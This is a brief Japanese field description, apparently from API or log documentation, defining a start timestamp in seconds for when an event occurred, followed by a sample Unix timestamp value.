開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214